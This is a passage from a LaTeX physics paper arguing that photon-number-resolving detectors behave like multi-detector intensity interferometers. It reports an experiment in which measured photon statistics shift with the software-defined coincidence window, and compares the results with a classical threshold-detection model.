\begin{equation}
10^{\mathrm{SNR}/10} \sim \frac{N(N-1)}{2} (r\Delta t)^{N/2} \frac{\Delta\tau}{\Delta t} \sqrt{\frac{T}{\Delta t}} \; ,
\label{eqn:SNR}
\end{equation}
where $r$ is the detection rate, $\Delta t$ is the reciprocal electrical bandwidth or, equivalently, the coincidence window, $\Delta \tau$ is the source coherence time, and $T$ is the integration time. The symbol $\sim$ reflects the lack of precision of the expression due to individual characteristics of a particular measurement setup, such as detector efficiency and transmission losses. Accidental coincidences, in contrast to correlated coincidences, constitute the most elusive source of noise to overcome in the case of correlated measurements, as other sources of noise, such as dark counts and afterpulsing, can be compensated straightforwardly at the individual detector level of analysis. Accidental coincidences take multiple forms including dark-count-dark-count combinations between constituent detectors or (effective) pixels, dark-count-light-count combinations, and light count combinations between different coherence times, but within single coincidence windows, i.e. when $\Delta t \gg \Delta \tau$. (The accidental coincidences caused by the mismatch between coherence time and coincidence window establish the primary cause contributing to coincidence window dependence of photon statistics shown later in this work.) The quantity $r\Delta t$ is always less than unity in experiments, since the detector dead (recovery or reset) time is at least as long as the coincidence window. The condition $r\Delta t < 1$ implies that the SNR decreases as the number of detectors increase, and this property has discouraged their use in II experiments.
Despite being separated by the fields of astronomy and quantum optics, intensity interferometers show a striking resemblance to certain multiplexed PNR detectors. In fact, an intensity interferometer, when operated using Geiger-mode detectors, has exactly the same architecture as a two-detector multiplexed PNR detector. Furthermore, the similitude persists if we extrapolate the architecture to $N$ detectors. Not only is the layout topologically equivalent, but the technical analysis revealing correlations by grouping coincident detections in IIs is essentially the same as counting photon number by grouping coincident detections in PNR detectors.
This compelling similitude suggests that the prevailing method of calculating SNR for PNR detectors may be neglecting the more subtle source of noise from accidental coincidences, which by contrast is included for IIs. If so, it would be prudent to question the certitude with which PNR detector results are presented. It also suggests that certain anomalous characteristics (such as coincidence window dependent photon statistics) may manifest if accidental coincidences dominate PNR detector results. Figure \ref{fig:snr} shows the dependence of SNR on both coincidence window and number of single photon detectors (therefore number of incident photons). The red box represents the parameter space explored experimentally in this work. The white dashed line signifies a limit of effectiveness for PNR detectors beyond which detector number saturation, to be described below, spoils results. For the sake of clarity, the experimental results conducted in this work are not meant to solve the issue of accidental coincidences, as is evidenced by the insufficient SNR shown in the red box in Figure \ref{fig:snr}. Rather, we demonstrate that one of the anomalous characteristics associated with high rates of accidental coincidences, i.e. having a low SNR, is the coincidence window dependence of photon statistics. This low SNR is representative of many PNR detectors surveyed below, and suggests similar anomalous characteristics may be observed in existing devices.
At this juncture a distinction must be made between what we may call detector temporal saturation and PNR detector number saturation. Detector temporal saturation is the limitation in which the count rate of a single-photon detector in Geiger mode fails to be as sensitive to detections at higher intensities as it is at lower intensities. The single photon detector count rate peaks at a maximum count number as input power is increased. The maximum count rate, which characterizes detector temporal saturation, is inversely proportional to the detector dead time. PNR detector number saturation, in marked difference, occurs when every discrete detector (or effective pixel) composing the PNR detector is continuously activated, and therefore practically insensitive to incoming light. This condition is reflected in Eqn.\ (\ref{eqn:SNR}) as $N \approx r\Delta t$ and is represented by the white dashed line in Fig.\ \ref{fig:snr}. In practice, this condition implies that SNR values in the region to the right of the white dashed line are inaccessible due to PNR detector number saturation, which happens independently of detector temporal saturation.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/SNR.pdf}
\caption{(Color online) Theoretical signal-to-noise ratio for $N$-detector intensity interferometers. The black contour indicates an SNR of 3 dB. The parameters used in the expression match the experimental conditions used in this work: 2 ps coherence time, 200 kcps detection rate, a 0.5 second integration time. The red box displays the area experimentally explored in this work. The white dashed line represents detector number saturation, to the right of which none of the detectors composing the PNR detector are able to fully reset.}
\label{fig:snr}
\end{figure}
One clear characteristic of Fig. \ref{fig:snr}, owing to the condition $r\Delta t < 1$, is the precipitous falloff of the SNR with increasing detector number. With these experimental parameters, an SNR higher than the 3-dB threshold level (shown by the black line) is reflected only for correlations of order two (which occur at coincidence windows less than 1 fs).\footnote{For reference, Hanbury Brown and Twiss obtained SNRs of 1.2--3 dB in \cite{HBTsir1956}.} Unfortunately, the signal for higher order correlations is overwhelmed by accidental coincidences. Cognizance of such SNR relations is crucial to avoid mistaking accidental coincidences for correlated coincidences.
\section{Review of PNR Detectors}
As mentioned above, many existing studies on PNR detectors belie a low SNR when calculated using Eqn. \ref{eqn:SNR}. Figure \ref{fig:snrsurvey} shows the SNR results of a survey of PNR detectors calculated using parameters listed in their respective text.
In this work, we focus on the following most utilized PNR detector architectures: visible light photon counters (VLPCs) \cite{Kim1999,Takeuchi1999,Petroff1989,Baek2010,Waks2004}, transition edge sensors (TESs) \cite{Miller2003,Cabrera1998,Irwin1995,Avella2011,McCammon1984,Gerrits2016,Lita2008,Humphreys2015,Pearlman2010,Levine2012,Namekata2010,Brida2012}, superconducting nanowire single-photon detectors (SNSPDs) \cite{Semenov2001,Goltsman2001,Cahall2017,Zhu2018,Zhang2020,Divochiy2008,Luo2018}, and a class of noncryogenic detectors (NCDs) of which the following three general sub-types exist: beam splitter single photon detectors (BS-SPDs) \cite{Achilles2003,Provaznik2020,Hlousek2019},\footnote{Incidentally, the BS-SPD design was originally constructed with interferometry in mind, not PNR detection per se, as in reference \cite{Ou1999}.}, and spatially \cite{Jiang2007,Avella2016,Ding2019,Kalashnikov2011,Cai2019} or temporally \cite{Kruse2017} multiplexed designs. In addition, unique PNR detector designs also exist \cite{Nehra2020,Zambra2005,Straka2018}.
Figure \ref{fig:snrsurvey} shows that SNR typically decreases as a function of increasing detector number (or photon number equivalently). Three detectors (two TESs and one NCD) manage to achieve an SNR above 3 dB for 2 photon events, however, all rapidly decrease with only one TES remaining above 3 dB for 3 photon events. As one can see, the vast majority of PNR detectors fall below the 3 dB threshold for SNR. At these low SNR values results would be dominated by accidental coincidences.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/SNRSurvey.pdf}
\caption{(Color online) Survey of theoretical signal-to-noise ratio for PNR detectors using $N$-detector intensity interferometry treatment and individually stated device parameters. Various types of PNR detectors are represented in the survey including, transition edge sensors (TES), visible light photon counters (VLPC), superconducting nanowire single photon detector based devices (SNSPD), various noncryogenic detectors (NCD), lastly this work, a member of the noncryogenic type, is shown in green in the midst of the detectors. Few PNR detectors achieve an acceptable SNR even at low photon numbers.}
\label{fig:snrsurvey}
\end{figure}
In addition to the SNR decline, the arbitrary nature of the coincidence window for PNR detectors breeds suspicion with regards to the standard interpretation of photon counting. In order to fully grasp the importance of arbitrary coincidence windows and their effects on photon statistics we briefly review some aspects of current PNR detectors.
Simultaneous detection is an ingredient critical to the intended operation of PNR detectors and is vital to probing the veracity of multiphoton states. "In the elementary quantum process of decay of a photon ($\omega_p$) into two new photons ($\omega_1$, $\omega_2$), emission of the products should be simultaneous." \cite{Burnham1970} Therefore, detection, barring a relative delay line, should be simultaneous. As noted by Grangier \textit{et al.}, one stipulation of this deduction is that the coincidence window chosen for detection must be no greater than the coherence time of the source \cite{Grangier1986,Grangier2006}. This stipulation ensures that more true coincident detections occur in the detection area rather than accidental uncorrelated detections. This condition is ostensibly borrowed from SNR concerns when dealing with IIs. For PNR detectors, if the coherence time is shorter than the coincidence window, we would expect accidental uncorrelated detections to aggregate within coincidence windows and therefore artificially increase the calculated photon number as the coincidence window increases. A test of this behavior would be to vary the coincidence window while keeping the source power constant. In this work we address this test by systematically exploring the parameter space comprised of coincidence window duration and input power for a coherent source. However, even if the coincidence window is matched to the coherence time there is still a scaling problem if one increases the number of detectors to capture higher order states, as we have seen in Fig.\ \ref{fig:snr}.
PNR detectors are characterized by several different metrics, such as efficiency, dead time, maximum detectable photon number, photon number resolution, etc. The coincidence window is an often overlooked metric characterizing each particular PNR detector. Coincidence windows are given a warranted amount of attention for Bell inequality experiments \cite{Larsson2014,Christensen2015} but are largely neglected for PNR detectors. Obviously, coincidence windows exist in devices regardless of their lack of intentional design in sensor architecture and construction; they are often hardware defined and associated with the slowest response circuitry in the sensor, typically the amplifier system. Oftentimes, the effective coincidence window is merely the reciprocal electrical bandwidth. In this work, we define the coincidence window as the timescale that determines if one or more detector triggerings should be grouped together, thereby indicating that the detections should be thought of as having a previous association. Already we can see that judgement is an explicit factor in the choice of a coincidence window. In this vein, a software-defined coincidence window, whose only limitation is the hardware circuitry speed, can be tuned to maximize visibility or other metrics of interest \cite{Grangier1986}.
In the case of a hardware-defined coincidence window, the coincidence window is the timescale that characterizes the pileup behavior of the sensor response signal and determines to a large degree how the combination of discrete height pulses in the response signal histogram are distributed. Liao \textit{et al.} \cite{Liao2020} have shown changes in photon statistics while increasing power (keeping the coincidence window constant). In this work we vary not only the power of our coherent source, but also the coincidence window.
If elicited, a shift in the photon number distribution caused by merely changing the coincidence window would raise suspicions regarding the accuracy and consistency of the PNR detector in question. Independence of photon number distribution from the coincidence window is regularly and tacitly assumed, perhaps with a vague stipulation that the coincidence window should be small enough. As we show in this paper with a beamsplitter-based multiplexed PNR detector with admittedly low SNR, the calculated photon number distribution is artificially and strongly dependent upon the coincidence window. In light of this, there is a need for a logically consistent interpretation governing the validity of coincidence window choices with the goal of developing the capability to certify valid PNR results.
As we have alluded, in addition to the coincidence window, the coherence time of the light source is pivotal to the proper interpretation of statistical light distributions measured by PNR detectors. Lasers and spontaneous parametric down conversion (SPDC) crystals are two of the most common sources for probing the performance characteristics of PNR detectors. Coherence times for lasers range from 1 ps for entry-level scientific lasers to over 1 ms for high performance, ultra-narrow bandwidth lasers. On the other hand, SPDC source coherence times range from 80 ps for unfiltered output \cite{Halder2008} to 2 $\mu$s for high performance sources \cite{Han2015}. The atomic cascade source used by Grangier et al. for studies on anticorrelation, for example, possessed a lifetime of 4.7 ns \cite{Grangier1986}. It stands to reason that the stipulation that coincidence windows be no greater than the source coherence time should not only apply to intensity interferometers but also to PNR detectors.
Experimental endeavors have demonstrated that an implicit policy of minimizing the coincidence window seems to be in effect, which would be the correct objective to some degree for increasing SNR according to Fig.\ \ref{fig:snr}. However, detector coincidence windows are rarely, if ever, mentioned in comparison to source coherence time, which would be the relevant scaling criterion for determining the suitability of a particular coincidence window. Furthermore, coincidence window minimization across different PNR detector modalities and designs stretches across six orders of magnitude, as shown in Fig.\ \ref{fig:survey}, increasing the inconsistency with which photon statistics are surmised. Again, we emphasize that given a coincidence window no greater than the source coherence time, SNR scaling issues persist for higher numbers of detectors and therefore detection of higher order multiphoton states.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/survey.pdf}
\caption{(Color online) Survey of coincidence windows for the most relevant PNR detectors including visible light photon counters (VLPC), transition edge sensors (TES), superconducting nanowire single-photon detectors (SNSPD), and noncryogenic detectors (NCD) consisting of spatially and temporally multiplexed single photon detectors and a modified avalanche photodiode.}
\label{fig:survey}
\end{figure}
To our knowledge no consistent method has been used in these works to establish an optimal coincidence window other than minimization. Since most experimental setups have used the smallest coincidence window available, we are limited only to raising the coincidence window above the hardware defined level, in our case by using a software-defined coincidence window longer than the hardware-defined level of 1 ns.
\section{Experimental Setup}
The PNR detector used in this work consists of a multiplexed beamsplitter tree-based network with three 50:50 beamsplitters (Thorlabs
CCM5-BS017) supplying four independent single-photon detectors (S-fifteen Si-APD). A fiber-based laser diode (Thorlabs MCLS1 with ss-d6-6-785-50 diode) supplies the input coherent light at 778 nm with a coherence time of 2 ps. An in-line fiber variable attenuator (Thorlabs VOA780-APC), fiber coupling (Thorlabs PAF2-2B), and a set of neutral density filters (Thorlabs NEK01) provide coupling to free space and attenuation. Timing electronics (S-fifteen TDC1) provided timestamps of all detection events among the four detectors, with a timestamp step of 1 ns and a timing resolution of 2 ns. The software-defined coincidence window was swept from 20 $\mu$s down to 10 ns in 500-ns steps. Power was measured using a free-space power meter(Newport 843-R), which could be positioned to intersect the optical axis before the attenuation stack.
\begin{figure}[ht]
\centering
\scalebox{0.35}{\includegraphics[clip, trim=0cm 8.5cm 7cm 0cm, width=1.00\textwidth]{Figures/Setup.pdf}}
\caption{(Color online) The experimental setup consists of four single-photon detectors (D1--D4), three 50/50 beamsplitters (BS), several neutral density filters (NDF), a laser diode (LD), a power meter (PM), and in-line variable attenuator (VA). The power meter was inserted to intercept the beam just prior to the NDF stack.}
\label{fig:setup}
\end{figure}
The single-photon detectors used for this work are of an avalanche photodiode design and are passively quenched with a dead time of about 2 $\mu$s. They have stated nominal efficiencies of about 50\%. The efficiencies were estimated by the manufacturer by comparing each detector to a reference detector, itself having been tested using a traceable power meter. The detectors are also estimated as having a dark count rate of about 300 counts per second (cps).
One important complication that surfaces when incorporating multiple SPDs in a system is the relative balance of counts between detectors. When taking measurements, one must ensure that the amount of power received by each detector guarantees that the dynamic range of each of the detectors largely coincide with each other. This is necessary to prevent a situation in which one detector is operating in the well-behaved linear regime while another detector is either in saturation or near the dark-count regime. In our setup this was arranged by maximizing the detector counts of all the detectors at a modest power level of 0.11 nW, isolating the detector with the lowest maximum counts, then compensating the other three detectors by slightly misaligning the fiber coupling. This resulted in a relative weighting of counts between the detectors, which is summarized in Table \ref{tbl:detector_counts}.
\begin{table}[ht]
\begin{tabular}{cc}
\hline
Detector \; & \; Count Rate (cps) \\
\hline
D1 & $63200 \pm 430$ \\
D2 & $55000 \pm 440$ \\
D3 & $59800 \pm 480$ \\
D4 & $61800 \pm 460$ \\
\hline
\end{tabular}
\caption{Single-photon count rates measured at 0.11 nW, used for detector balancing. D1-D4 indicate detectors 1 through 4.}
\label{tbl:detector_counts}
\end{table}
The intentional misalignment of fiber coupling is generally undesirable due to the lowered system detection efficiency. It is important however to note that we are not attempting to conduct the particularly difficult and metrologically traceable system detection efficiency measurement in which minimizing losses is paramount. Instead, we employ the power meter simply as a proportionality monitor for the intensity level. That being said, the model used herein (detailed below) to convert click statistics to photon statistics is capable of accounting for not only unique detector efficiencies, but also unbalanced branches of the beamsplitter tree. The neutral density filter stack used, which consisted of filters with optical densities of 2, 1, 0.6, and 0.4, possessed an attenuation factor of ($962 \pm 50$). The attenuation factor is offset from the nominal value by about a factor of ten due to the specific wavelength-dependence of the filters.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/saturation.pdf}
\caption{(Color online) In-situ data displaying detector count rate dependence on source power. Signs of detector saturation are visible throughout the dynamic range of the detectors, but dominate at source powers over 2 nW.}
\label{fig:saturation}
\end{figure}
A measured laser power level of 1.9 $\mu$W before attenuation through the NDF stack (and 2 nW after attenuation) induced the onset of detector saturation, as shown in Fig.\ \ref{fig:saturation}. As such, we chose to take measurements at 21 different power levels, in equal increments from 2 nW down to levels near the noise floor or dark-count regime. The dark count regime measurements were taken with no change in the optical setup except closing the in-line fiber attenuator such that the counts registered the minimum values in each detector. Care was taken to measure the dark counts with the fibers connected to the setup as to include any thermal radiation persisting in the fiber.
Data was captured at each power level over a time of about 0.5 s, with 2-ns timing resolution. The time tagger gate time was set to 2 ms in the S-fifteen software, which was chosen in order to prevent overflow of the 16 kB memory register and the 32-bit timestamp index at power levels sufficiently large to induce detector saturation.
\section{Analysis Procedure}
Output from the timing electronics, which consisted of a list of detection timestamps and the associated detector triggering pattern, was processed using a script capable of designating a specific coincidence window. We used a fixed time segment scheme to organize separate coincident window periods and aggregate multiphoton detections in a similar way to the method used in typical PNR detectors to aggregate counts using a gate or pulsed source. (Another possible method of aggregating multiphoton detections, which we did not use, involves defining coincidence windows relative to individual detections, which is the method that intensity interferometers use to aggregate signals in order to measure $g^{(2)}$ correlations.) In our case, a fixed software-defined coincidence window schedule is more appropriate for comparison against other PNR detectors, is easier to implement, and avoids issues of repeatedly counting particular detections when grouped among different relatively defined coincidence windows (i.e., overlapping coincidence windows). Moreover, a fixed coincidence schedule is among the coincidence counting schemes that evade the coincidence window loophole for Bell tests \cite{Larsson2014}.
An additional complication, common to each method of aggregating multiphoton counts, is that the detector may reset and register a second detection before the governing coincidence window has expired. This situation arises when the chosen coincidence window is a large fraction of the detector dead time for free-running SPDs. This problem is not typically seen in most PNR detectors due to the fact that their effective coincidence window tends to be much smaller than the detector dead time. Source pulsing or detector gating would circumvent this complication \cite{Agafonov2007}; however, this was not possible using our setup, as the pulse rise time for our laser source is rather slow (about 5 $\mu$s) and our detectors do not have hardware gating capability. We avoid this issue in software by forbidding all duplicate detections from the same detector within a coincidence window. A finite detector dead time also engenders a corresponding complication wherein a possible photon could impinge upon the detector while the detector is in a recovery state. This complication is common to all PNR detectors, presumably manifesting as a drop in detector efficiency, and can be mitigated only by improving the detector dead time.
The script we developed aggregates the multi-detector events, which are typically interpreted as multiphoton events. An output file specifies the quantities registered for each associated detector combination, which is then fed into another script that processes the multi-detector counts (i.e., click statistics) using a modified binomial detector model based on work by Sperling, Vogel, and Agarwal (SVA) \cite{Sperling2012a,Sperling2012b}. The binomial model we used to convert click statistics to photon statistics was expanded to permit individualized detector efficiencies and dark counts, and an unbalanced source distribution across beam splitter paths. This model was developed for coherent sources and as such is relevant for our laser-based system.
According to the model, the probability for $k$ clicks is
\begin{equation}
P_{k} = \sum_{|\boldsymbol{m}|=k} \prod_{i=1}^{N} p_i^{m_i} \prod_{j=1}^{N} (1-p_j)^{1-m_j} \; .
\label{eqn:Binomial}
\end{equation}
where $m_i \in \{0,1\}$, $|\boldsymbol{m}| = m_1 + \cdots + m_N$, and $p_i$ of a detection of the $i^{\rm th}$ detector. For coherent light, and including detector-specific parameters, $p_i$ is given by
\begin{equation}
p_i = 1-e^{-\eta_{i}|u_{i}\alpha|^{2}-\nu_{i}} \; ,
\end{equation}
where $\eta_i$ is the detector efficiency, $1-e^{-\nu_i}$ is the probability of a dark count, and $u_i\alpha$ is the amplitude of coherent light entering the detector. For a uniform beam splitter network, $u_i = 1/\sqrt{N}$.
Nominal initial values for detector efficiencies, dark counts, branch weighting, and the click statistics were input to an optimization routine. This routine minimizes a chi-squared metric tracking the overall deviation between the model's binomial photon distribution and the experimental detector click statistics. For each power level and each coincidence window, the optimization routine was applied to estimate, not only the aforementioned efficiencies, dark counts, and branch weighting, but also the mean photon number, $\mu$. In this way, we could determine the dependence of the mean photon number on both the coincidence window and source power level.
In addition to the experimental data produced, we also developed a script that generates detection events according to a classical model with a stochastic vacuum field component combined with deterministic amplitude-threshold detectors \cite{LaCour&Williamson2020,VQOL}. The classical nature of the model was an intentional feature used to test the possibility of reproducing what is typically interpreted as evidence for the particle nature of light via PNR detectors under purely continuous electromagnetic field conditions. One could construe this test as an exhibition of the suitability of purely classical approaches for interpreting experimental PNR detector results.
Under this model, coherent light is represented as a complex Gaussian random vector with a nonzero mean. Specifically, a coherent state $\ket{\alpha}_H\otimes\ket{0}_V$ corresponding to a single spatial mode and two orthogonal polarization modes (horizontal and vertical, respectively) may be represented by the random variables
\begin{subequations}
\begin{align}
a_H &= \alpha + \sigma z_H \\
a_V &= \sigma z_V \; ,
\end{align}
\end{subequations}
where $\sigma = 1/\sqrt{2}$ is the standard deviation due to the vacuum state and $z_H, z_V$ are independent standard complex Gaussian random variables. So $\mathsf{E}[|a_H|^2] - \sigma^2 = |\alpha|^2$ corresponds to the average photon number in the horizontal polarization mode, excluding the vacuum contribution.
For a beam splitter network with $N$ output spatial modes, we now have
\begin{subequations}
\begin{align}
a_{iH} &= u_i \alpha + \sigma z_{iH} \\
a_{iV} &= \sigma z_{iV}
\end{align}
\label{eqn:VQOL}
\end{subequations}
where $u_i$ is defined as before and $z_{iH}, z_{jV}$ are independent standard complex Gaussian random variables.
We treat detections as simple amplitude-threshold-crossing events, so a detection on the $i^{\rm th}$ detector is modeled as the event
\begin{equation}
D_i = \{ |a_{iH}| > \gamma \; \text{or} \; |a_{iV}| > \gamma \} \; .
\label{eqn:detector}
\end{equation}
It is now straightforward to compute the probabilities for various multidetection events, since all detection events are mutually independent. The probability of exactly $k$ detections will be given by Eqn.\ (\ref{eqn:Binomial}), with $p_i$ replaced by the probability of event $D_i$.
\section{Results}
Output from the optimization routine included estimates for the average photon number, detector efficiencies, binomial distribution, and the corresponding Poisson distribution. The click statistics, binomial distribution, and the corresponding Poisson distribution are plotted in Fig.\ \ref{fig:distributions} for a source power of 0.11 nW and a 3.5 $\mu$s coincidence window resulting in an average photon number of 2.46. Due to the binary nature of the detectors,\cite{Sperling2013,Bohmann2017,Sperling2014,Piacentini2015,Miatto2018} which signal either the presence or absence of photons, if one were to ascribe to each detection a single captured photon then many photons would likely be undercounted, as multiple photons may impact a single detector. Using this na\"{i}ve approach one would expect a Poisson distribution made manifest in the click statistics directly when the detector system is illuminated by a coherent source. However, the Poissonian estimation is valid only for extremely low light levels, where the probability of observing a multiphoton state is negligible. The correct scheme for analyzing arrays of on-off photon detectors is based on the binomial distribution \cite{Sperling2012a,Sperling2012b}.
Instead of using the na\"{i}ve approach, the Poisson distribution in Fig.\ \ref{fig:distributions} was calculated using the average photon number estimated from the optimized binomial distribution. As such, the Poisson distribution probability weighting is shifted toward higher photon numbers, indicating the veiled undercounting of photons due to multiphoton states producing lower order detector click patterns. In this way, the Poisson distribution is reconstructed appearing as if single-photon detectors could count multiple photons. Notably, all probability in the calculated Poisson distribution above a photon number of four is added in the ``4+'' bin, as this PNR system possessed a maximum photon resolution of four corresponding to the number of detectors. All things considered, Fig.\ \ref{fig:distributions} shows both the agreement between click statistics and the fitted binomial distribution as well as the unsuitability of estimating the photon distribution by fitting a Poisson distribution directly to the click statistics.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/Distributions.pdf}
\caption{(Color online) Distributions describing photon statistics gathered experimentally for a nominal power of 0.11 nW and coincidence window of 3.5 $\mu$s. Click statistics, integrated over 0.6 seconds, are shown in brown. The fitted binomial distribution is in blue, and the corresponding Poisson distribution, calculated using the binomial model's average photon number of 2.46, is in gold. The ``4+'' bin aggregates the probabilities for four or more photons.}
\label{fig:distributions}
\end{figure}
As noted previously, we swept through values of both coincidence window as well as source power. Fig.\ \ref{fig:clicks} (top panel) shows the click statistics for all values of coincidence window at a source power level of 0.53 nW, and Fig.\ \ref{fig:clicks} (bottom panel) illustrates the corresponding binomial distribution resultant from the modified SVA model. We observe, in both cases, the weight of the probability shifting from low photon numbers to higher photon numbers as the coincidence window increases. The discrepancy between the click statistics and the binomial distribution resulted in an average uncertainty below $\pm1.5\%$ showing excellent agreement.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/clicks.pdf}\\
\vspace{0.5cm}
\includegraphics[width=\columnwidth]{Figures/binomial.pdf}
\caption{(Color online) Top panel: Click statistics at 0.53 nW. Bottom panel: Binomial distribution at 0.53 nW}
\label{fig:clicks}
\end{figure}
Each binomial photon distribution contained an associated average photon number which is plotted in Fig.\ \ref{fig:APN} (top panel) as a function of both coincidence window and source power level. We can see that, as expected, as the source power increases the average photon number increases. We can also observe the normal saturating effect as the source power induces detection rates on par with the dead time of the detector (1 $\mu$s) shown in appendix 1. In addition to these expected characteristics, the average photon number behavior also shows a strong dependence on the coincidence window. To our knowledge no other experimental groups have displayed data showing systematic dependence of calculated photon distribution on coincidence window. The coincidence window dependence, similar to the power dependence, shows some saturating behavior. It must be noted, however, that as the average photon number grows above 4 the certainty with which we may treat the photon distribution diminishes and consequently the validity of the average photon number begins to rely more heavily on the adherence of the laser's character as representing a true Poissonian light source.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/APNexp.pdf}\\
\vspace{0.5cm}
\includegraphics[width=\columnwidth]{Figures/APNmodel.pdf}
\caption{(Color online) Top panel: Average photon number dependence on coincidence window and source power. Data was captured experimentally and passed through an analytical model based on SVA's work. Bottom panel: Average photon number dependence on coincidence window and source power. Calculated using fully classically modeled detection events, then passed through the SVA binomial model for photon detection.}
\label{fig:APN}
\end{figure}
In addition to gathering experimental data, we also chose to implement a fully classical model based on stochastic vacuum fluctuations and amplitude threshold detection, as described by Eqns.\ (\ref{eqn:VQOL}) and (\ref{eqn:detector}), in order to test if it is possible to replicate the output of a photon number resolving detector without relying on the \textit{a priori} assumption of light particles. Figure \ref{fig:APN} (bottom panel) shows the results of this modeling effort in a one-to-one comparison manner with the experimental results. Indeed, the average photon number constructed purely from the results of the classical model processed in the exact manner as the experimental data shows striking similarity. First, we note the overall similar values on an order of magnitude scale, which we emphasize was not guaranteed as the generally accepted mechanism of operation of PNR detectors, i.e. photon absorption, is not invoked in the simple one-factor model. Secondly, we see similar qualitative behavior at comparable values both in the coincidence window timescale as well as the power level. In particular we observe the relatively rapid rise and gradual saturation of average photon number values as each independent variable increases. As for discrepancies, the model data shows more fine-grained variability even after one application of nearest neighbor averaging, which may be attributed to the slightly shorter overall integration time of the model data. The experimental integration time amounted to 200-300 cycles of 2 ms time periods providing a total of about half a second of total integration time for each combination of coincidence window and power level. Likewise, the model data was integrated over 100 periods of 2 ms, which corresponded to similar 10 MB file sizes for experimental data and model data. The file size limit was necessary for prompt processing of the coincidence window script on a PC i.e. 10 hours total for each model and experiment over all coincidence window and input power combinations. Incidentally, the binomial model optimization script required 11 hours total for each.
\section{Discussion}
The previous SNR analysis by Malvimat et al. describes the case for incoherent light, as distant starlight has been the principal target of intensity interferometry. In our case, where the light source is a coherent source, Glauber states that "fully coherent fields and delayed coincidence counting measurements carried out in them will reveal no photon correlations at all." \cite{Glauber2006} i.e. $g^{(N)} = 1$. As a result, in measuring $g^{(N)}$ for coherent sources, we can expect the counting rate of $N$-fold coincidences to be,
\begin{equation}
r_c^{(N)} = r_1 \cdots r_N (\Delta t)^{N-1} \, g^{(N)}
\end{equation}
where $r_c^{(N)}$ is the coincidence rate and $r_i$ is the counting rate of the i\textsuperscript{th} detector. Therefore the coincidence rate, and thus the SNR, will decrease in the same manner as Eqn.\ \ref{eqn:SNR} due to their similar scaling $\sim(r \Delta t)^N$. In this way, results from SNR analysis still hold validity for the coherent light used in our experiment.
In past work, the connection between PNR detectors and higher order correlations has been hinted at partially \cite{Dynes2011,Kalashnikov2014,Tan2016}, but the specific relations linking higher order correlations with multiphoton detections as analyzed in this work have not been addressed. Further extending the richness to our assertion that beamsplitter-based PNR detectors operate on the principals of generalized IIs, we claim that all types of PNR detectors constitute generalized intensity interferometers. In order to support this claim we must consider not only coherence time as playing a critical role, but also coherence area. PNR detectors composed of a grid of single photon detectors as in the case of MPPC's and SNSPD-based PNR detectors must obey a similar rule as the coherence-time-coincidence-window relation. In order for correlated coincidences to dominate the signal over random coincidences the spatial coherence area of the light source must be larger than the size of the detector array. For a beamsplitter based PNR detector this requirement is alleviated since the coherence area must simply cover a single SPD as opposed to a grid of multiple SPDs. As was the case with coherence time, coherence area is not typically considered in normal characterization of PNR detectors. If the coherence time and coherence area satisfy conditions for an acceptable SNR, we can suppose an equivalence between beamsplitter-based multiplexed PNR designs and array-based PNR detectors. In fact, the characteristic parameters coherence time and area, coincidence window, and the number of detectors need only be corresponding for equivalence to hold. The salient tradeoff concerns the relative budgets for spatial and temporal coherence.
The remaining PNR detector type, so-called monolithic detectors, do not possess a grid of pixels, yet nevertheless have the capability of simultaneously registering more than one detection. Examples of monolithic PNR detectors are VLPCs and TESs. Despite these detector types lacking an arranged grid of SPD pixels, the detectors operate \textit{as if} they do. The excitation regions (the regions of the device which register a detection and therefore require a recovery time period in the same way as an SPD pixel) of both VLPCs \cite{Bross2005} and TESs \cite{Cabrera1998} are around 3 microns. The size of the excitation region allows one to calculate the effective number of pixels a monolithic detector possesses. Due to the physical operation principles of monolithic PNR detectors, they act \textit{as if} they have pixels which require resetting with the variation that the locations of the effective pixels are not bound to a prescribed grid. Therefore, the operation of each type of PNR detector is largely equivalent, provided each type of detector (BS-multiplexed, pixel-based, and monolithic) is subject to the same conditions with respect to coherence time and coherence area. The performance of each type of detector is differentiated largely on single detector dependent characteristics such as dead time, efficiency, and dark counts which themselves constitute a parametric model to be fitted according to physical device conditions e.g. reverse bias voltage or bias current, etc.
\section{Conclusion}
In this work, we have recognized a hitherto unacknowledged noise source active in the operation of PNR detectors. The noise source comes in the elusive form of accidental coincident detections, which are liable to be mistaken for correlated coincidences. We discuss the experimental parameters pertinent to establishing sufficient SNR and the importance of the relative values of coherence time and coincidence window. Our survey revealed that many common PNR detectors have insufficient SNRs. The PNR detector developed for this work replicated the prevalent low SNR condition to show that variable coincidence windows can indeed alter reported photon statistics. Under these conditions we were able to establish good agreement between experimental results and a fully classical model based on amplitude threshold detection. It remains to be seen if the classical model is sufficient for high SNR conditions. If shown to be sufficient, it would be possible to attribute the multimodal character of PNR detector output to the nonlinear multiplication processes ubiquitous to PNR detectors (i.e. threshold detection) combined with the aforementioned aggregation principle, rather than presuming the prior presence of a certain number of discrete photons. We posit this interpretation, which reflects the underlying assumptions of the classical model, as an alternative to the one-to-one causal relationship between an incoming photon and a consequent photoelectron, that is, the basis for light quanta.
Concerning Einstein's bubble paradox, in light of the alternative explanation for the operation of PNR detectors discussed above, we may address aspects of this paradox using a classical description. Consider an SPD pixel-based PNR detector spread on the inside of a sphere with a highly attenuated light source situated at the center. Given each pixel operates on amplitude threshold detection and the average energy output of the source is equal to the input energy of the detector, no light particles need be presumed to avoid a paradox. In fact, given such an attenuated light source, the most likely behavior would be long periods of seeming inactivity punctuated mostly by single detector amplitude crossings caused by the combination of the light source and background noise excursions. Rather than all other detectors being suppressed in order to uphold energy conservation in the light particle picture, the simple and most probable activity occurs. In this way, the preconditioned presumption of light quanta is capable of subtly masking the clarity of such explanations.
